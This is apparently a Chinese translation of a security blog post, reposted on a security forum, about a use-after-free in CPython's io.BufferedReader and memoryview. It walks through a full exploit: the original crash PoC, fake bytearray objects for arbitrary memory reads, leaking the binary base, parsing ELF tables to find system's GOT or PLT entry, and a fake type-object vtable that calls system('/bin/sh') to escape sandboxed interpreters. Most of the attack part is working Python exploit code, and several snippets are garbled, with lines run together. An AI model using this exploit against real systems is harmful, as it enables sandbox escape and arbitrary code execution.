Exploiting a Use-After-Free for code execution in every version of Python 3[译文]

ctr2016 2022-05-24 10:19:00

不久前,我在浏览Python的bug追踪系统时,偶然发现了一个bug,具体描述为“memoryview to freed memory can cause segfault”。这个bug提交于2012年,最初出现在Python 2.7版本中;但直到今天,已经10年过去了,这个bug还没有得到修复。这激起了我的极大兴趣,所以,我决定仔细研究一下这个bug。

接下来,我们将详细分析造成这个漏洞的根本原因,以及如何编写一个可靠的exploit,并且让它适用于所有的Python 3版本。

Python对象

要理解CPython中发生的任何事情,首先要了解对象在内部是如何表示的。关于这个主题,本文只做简单介绍,要想深入了解这方面内容的读者,可以在互联网上找到许多详尽的资料。

在Python中,一切皆对象。实际上,CPython是用PyObject结构体来表示这些对象的。并且,每种类型的对象都在基本的PyObject结构体的基础之上,扩展了自己的字段。下面就,让我们看一个具体的PyObject结构体:

typedef struct _object {

  Py_ssize_t ob_refcnt;

  PyTypeObject *ob_type;

} PyObject;

例如,列表类型是由PyListObject结构体表示的,大致如下所示:

typedef struct {

  PyObject ob_base;

  Py_ssize_t ob_size;

  PyObject **ob_item;

  Py_ssize_t allocated;

} PyListObject;

我们可以看到,在ob_base中,每个对象都有一个refcount(ob_refcnt)和一个指向其相应类型对象(ob_type)的指针。类型对象是一个单例,存在于Python语言中的所有类型中,有且只有一个。例如,在int类型中,它将指向PyLong_Type;在列表类型中,它将指向PyList_Type。

了解上述背景知识后,让我们来看看PoC。

漏洞的PoC

实际上,这个漏洞的提交者还善意地提供了一份PoC代码;当这份代码运行时,将触发空指针解引用,具体如下所示:

import io



class File(io.RawIOBase):

  def readinto(self, buf):

    global view

    view = buf

  def readable(self):

    return True



f = io.BufferedReader(File())

f.read(1)            # get view of buffer used by BufferedReader

del f              # deallocate buffer

view = view.cast('P')

L = [None] * len(view)     # create list whose array has same size

                \# (this will probably coincide with view)

view[0] = 0           # overwrite first item with NULL

print(L[0])           # segfault: dereferencing NULL

根因分析

虽然PoC中的注释对漏洞的成因具有提示作用,但是还不够详尽,下面,我们就来仔细讲讲。

这是一个非常典型的use-after-free漏洞,但要理解它,需要先搞清楚io.BufferedReader的作用。而这篇文档,则给出了很好的解释:

“它是一个缓冲型二进制流,提供对可读的、不可查找的RawIOBase原始二进制流的更高级别的访问。它继承自BufferedIOBase类。

从[BufferedReader]读取数据时,可能会从底层原始流中请求大量数据,并将其保存在内部缓冲区中。然后,可以在后续读取时,直接返回缓冲的数据。”

在概念验证代码中,首先定义一个名为File的类,它继承自io.RawIOBase类,并在此基础之上定义一些自己的方法。然后,又创建一个BufferedReader对象,将自定义File类的一个实例指定为底层原始流。

而在初始化BufferedReader时,将会分配一个内部缓冲区。当我们通过BufferedReader方法读取数据(见第11行),但是这些数据没在内部缓冲区中时,它将从底层流中读取它们。从底层流的读取数据时,是通过readinto函数完成的,该函数会接收一个缓冲区作为参数,并且原始流应该将数据读入该缓冲区。作为参数传递的缓冲区,实际上是一个memoryview,并且是由BufferedReader的内部缓冲区提供支持的。所以,您可以将这个memoryview视为指向内部缓冲区的指针或视图。

既然我们控制了底层的流对象,自然就可以让readinto函数保存对这个memoryview参数的引用,即使我们从函数中返回后,这个引用也依然持续存在,这正是PoC在第6行所做的事情。

一旦我们保存了对memoryview的引用,我们就可以删除BufferedReader对象。这将迫使内部缓冲区被强制释放,但是,我们仍然持有对memoryview的引用,这对于我们来说非常有用,因为它现在正好指向被释放的缓冲区。

漏洞利用技术

现在,我们已经获得了一个指向已释放的堆内存的内存视图,并且可以对其进行读取或写入操作,那么,我们接下来该怎么做呢?

最简单的利用方法,就是创建一个长度等于被释放的缓冲区长度的列表,之所以这么做,是因为它的元素缓冲区(ob_item)很可能与被释放的缓冲区分配在同一位置。这样的话,就意味着我们在同一块内存上得到两个不同的“视图”:一个视图,即memoryview,认为内存只是一个字节数组,我们可以随意地写入或读出;而第二个视图是我们创建的列表,它认为内存是一个PyObject指针列表。换句话说,我们可以在内存的某个地方创建“伪”PyObjects,并能通过写入memoryview,将其地址写入列表中,然后通过对列表的索引来访问它们。

就这个PoC来说,它把0写入缓冲区(见第16行),然后,用print(L[0])来访问它。通过访问L[0],实际上就得到了第一个PyObject*,即0,然后,print函数试图访问它的一些字段,结果却是解除了空指针的引用。

鉴于这个漏洞至少自Python 2.7以来的每个版本上都存在,所以,为了好玩,我希望自己的exploit能够适用于尽可能多的Python 3版本。所以,我决定不再专门为Python 2编写exploit,因为它与当前版本存在较大差异,我又懒得调整exploit;不过话说回来,只要做些调整,在Python 2上跑这些exploit肯定没有问题。这就意味着,我不能使用针对CPython二进制代码或libc代码的“硬编码”偏移量。相反,我选择使用已知的结构体偏移量(因为它们在各个Python版本之间没有变化),然后通过手动解析ELF,以及一些已知的链接器行为,来实现可靠的exploit。

这个exploit的目标是调用system("/bin/sh"),具体步骤如下:

  • 泄露CPython的二进制函数指针
  • 计算CPython的基址
  • 计算出system或其PLT的地址
  • 跳转到这个地址,并让第一个参数指向/bin/sh
  • 大功告成

泄漏数据

从任意位置泄漏任意数量的数据非常容易。为此,我们可以借助于精心构造的bytearray对象,其布局如下所示:

typedef struct {

  PyObject_VAR_HEAD

  Py_ssize_t ob_alloc;  /* How many bytes allocated in ob_bytes */

  char *ob_bytes;    /* Physical backing buffer */

  char *ob_start;    /* Logical start inside ob_bytes */

  Py_ssize_t ob_exports; /* How many buffer exports */

} PyByteArrayObject;

其中,ob_bytes是指向堆分配缓冲区的指针。当我们对bytearray进行读取或写入操作时,我们实际上就是在读取/写入这个堆缓冲区。如果我们可以伪造一个bytearray对象,并且能够将ob_bytes设置为指向任意地址,那么,我们就可以通过读写这个bytearray来读写这个任意的地址。

我们知道,借助于CPython的话,伪造对象绝非难事。因为我们知道,当创建一个bytes对象(它不同于bytearray)时,bytes对象中的原始数据总是位于距PyBytesObject起始位置32个字节处的一个连续的内存块中。因此,我们可以使用id函数来获取PyBytesObject的地址,同时,我们还知道数据的偏移量,所以,我们可以这样做:

fake = b''.join([

​    b'AAAAAAAA',  # refcount

​    b'BBBBBBBB',  # type object pointer

​    b'CCCC'     # other object data...

  ])

address_of_fake_object = id(fake) + 32

现在,address_of_fake_object就是AAAAAAAABBBBBBBBCCCC的地址……

最终的泄漏原语如下所示。注意,self.freed_buffer是指向释放的堆缓冲区的memoryview,而self.fake_objs是我们创建的列表,其元素的缓冲区也指向释放的堆缓冲区。

def _create_fake_byte_array(self, addr, size):

  byte_array_obj = flat(

    p64(10),      # refcount

    p64(id(bytearray)), # type obj

    p64(size),     # ob_size

    p64(size),     # ob_alloc

    p64(addr),     # ob_bytes

    p64(addr),      # ob_start

    p64(0x0),      # ob_exports

  )

  self.no_gc.append(byte_array_obj) # stop gc from freeing after we return

  self.freed_buffer[0] = id(byte_array_obj) + 32



def leak(self, addr, length):

  self._create_fake_byte_array(addr, length)

  return self.fake_objs[0][0:length]

确定cpython的基址

现在,我们有了一个泄漏原语,所以,我们可以用它来确定二进制代码的基址。为此,我们需要一个指向二进制代码的函数指针。实际上,在Python 3的任何版本中,基本上没啥变化一个对象就是PyLong_Type对象,并且它含有指向CPython二进制代码的函数指针。所以,我选择使用偏移量24处的tp_dealloc成员,因为它在运行时指向type_dealloc函数,但我也可以很容易地在同一个对象中选择另一个指针,或者完全在另一个对象中选择一个指针。

1.png

一旦我们获得了一个指向二进制代码的指针,我们就可以将它向下舍入到最近的内存页面,然后,每次向后走一页,直到找到ELF头部为止。这种方法是有效的,因为我们知道二进制文件将映射到页面对齐的地址。

所有这些如下所示:

def find_bin_base(self):

  \# Leak tp_dealloc pointer of PyLong_Type which points into the Python

  \# binary.

  leak = self.leak(id(int), 32)

  cpython_binary_ptr = u64(leak[24:32])

  addr = (cpython_binary_ptr >> 12) << 12 # page align the address

  \# Work backwards in pages until we find the start of the binary

  for i in range(10000):

​    nxt = self.leak(addr, 4)if nxt == b'\x7fELF':

​      return addraddr -= PAGE_SIZE

  return None

控制指令指针

回想一下,每个PyObject都有一个指向其类型对象的指针,例如,PyLongObject有一个指向PyLong_Type的指针,而PyListObject有一个指向pylist_type的指针。实际上,每个类型对象都在充当vtable,这意味着,那里有很多有用的函数指针。了解这些后,我们就不难想到:如果我们可以伪造一个PyObject,并让其指向一个伪造的类型对象,并调用其中一个vtable函数,我们就可以控制指令指针。

这很容易通过前面伪造对象的技巧来实现;之后,我们就可以通过访问伪造的对象上的字段来触发tp_getattro函数指针。

def set_rip(self, addr, obj_refcount=0x10):

  """Set rip by using a fake object and associated type object."""

  \# Fake type object

  type_obj = flat(p64(0xac1dc0de),  # refcountb'X'*0x68,     # paddingp64(addr)*100,   # vtable funcs

  )

  self.no_gc.append(type_obj)



  \# Fake PyObject

  data = flat(p64(obj_refcount), # refcountp64(id(type_obj)), # pointer to fake type object

  )

  self.no_gc.append(data)



  \# The bytes data starts at offset 32 in the object 

  self.freed_buffer[0] = id(data) + 32



  try:

​    \# Now we trigger it. This calls tp_getattro on our fake type objectself.fake_objs[0].trigger

  except:

​    \# Avoid messy error output when we exit our shellpass

我提供了一种设置伪造对象的refcount的方法,因为通过vtable调用函数时,函数的第一个参数是指向对象本身的指针,所以,如果vtable函数实际上是system,那么,对象的第一个字节将被解释为要执行的命令。因此,在创建调用system的伪造对象时,我们可以将refcount设置为/bin/sh\x00

确定system的地址

我们知道,所有版本的Python都是从libc中导入system函数的。如果Python是动态链接的,那么PLT表中就应该有一个针对system函数的条目,因此,我们只需要找出这个条目的地址,就可以调用它了。幸运的是,我们可以通过解析ELF来解决这个问题,具体步骤如下所示:

  • 通过任意泄漏原语来泄漏ELF头部
  • 解析程序头部,寻找PT_DYNAMIC类型的头部,从而得到.dynamic节的地址
  • 解析.dynamic节,提取DT_JMPREL、DT_SYMTAB、DT_STRTAB、DT_PLTGOT和DT_INIT的值,从而得到所需结构体的地址
  • 遍历重定位表,确定每个条目在符号表中的偏移量,并利用该偏移量获取字符串表的偏移量,从而得到相应的函数名称
  • 继续遍历重定位表,直到找到对应于system命令的条目为止。

我们想从中了解的关键信息是符号system在重新定位表中的索引。幸运的是,GOT和PLT条目在链接器的存放顺序,与在在重定位表中的顺序是完全一直的,这意味着,一旦我们获得了system条目的索引,我们就可以计算出它在GOT中的地址和它的PLT存根的地址。

关于Full RELRO模式

如果二进制文件是基于Full RELRO模式编译的,那么所有的函数地址就都会被解析,这意味着我们可以使用前面的任意泄漏原语,直接从GOT中读取system函数的地址。

system_addr = got_address + system_idx*8

其中,got_address来自.dynamic节的DT_PLTGOT条目,而system_idx则是我们刚才通过走重定位表算出来的。

我们可以通过读取GOT中的第2和第3个条目,来确定该二进制代码的编译模式是否为full RELRO,因为这两个条目通常分别是linkmap和dl_runtime_resolve函数的地址。如果它们的值都是0,那么我们就可以认为,该二进制代码是在full RELRO模式下编译的,因为如果在运行时没有任何需要解析的东西,加载器不会浪费时间在PLT中设置解析指针/代码。

关于Partial / No RELRO模式

如果二进制代码是在partial RELRO或no RELRO模式下编译的,则需要在运行时解析system函数的地址。对于我们来说,这就意味着将跳转到相关的PLT存根,通过它解析函数地址并通过它来调用函数,而不是从GOT读取函数地址并直接调用相关函数。

下面给出计算PLT存根地址的公式:

system_plt = plt_address + system_idx*SIZEOF_PLT_STUB

其中,SIZEOF_PLT_STUB总是16字节,这意味着,这个等式中唯一剩下的未知数就是PLT地址。据我所知,ELF中没有提供存储这个地址的结构体,因此,我们必须借助一些技巧才能找出它。幸运的是,我用过的所有链接器总是将PLT直接放在.init节之后,所以,我们可以通过.dynamic节的DT_INIT条目找到该地址。此外,在x86-64系统上,PLT的第一条指令总是push qword ptr [rip + offset],其操作码是ff35。因此,我们可以在.init节的尾部搜索字节ff35:在哪里找到这些字节,哪里就是PLT的起始位置。

init_data = self.leak(init, 64)

plt_offset = None

for i in range(0, len(init_data), 2):

  if init_data[i:i+2] == b'\xff\x35': # push [rip+offset]

​    plt_offset = ibreak

如果您想了解解析方面的细节,建议您阅读ELF手册页Wikipedia文章,其中含有相关结构体的更多信息。

最后的成品

将所有这些部分放在一起,我们就得到了一个100%可靠的exploit,它适用于x86-64架构Ubuntu平台上的所有的Python 3版本,即使启用了PIE、full RELRO和 CET,也没有影响;并且,该exploit不需要导入任何其他模块。下面是在Ubuntu 22.04上的测试结果:

1.png

您可以在我的GitHub上找到该exploit的完整代码,具体地址为https://github.com/kn32/python-buffered-reader-exploit/blob/master/exploit.py。

小结

这整件事有什么意义呢?难道不能直接运行os.system(...)吗?嗯,问得好。

鉴于您首先需要具备执行任意Python代码的权限,因此,该exploit在大多数情况下都没有多大用处。但是,它在某些Python解释器中可能很有用,比如通过禁止导入模块或使用Audit Hooks来“沙箱化”您的代码的解释器,因为该exploit既不用导入任何模块,也不会创建任何代码对象;一旦执行这两种操作,将分别触发importcode.__new__钩子。实际上,这里的exploit只会触发一个builtin.__id__钩子事件,而这通常是被允许的。

原文地址:https://pwn.win/2022/05/11/python-buffered-reader.html

评论

C

ctr2016

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

前端安全 文章:29 篇
Java安全 文章:34 篇
安全开发 文章:83 篇
APT 文章:6 篇
Python安全 文章:13 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录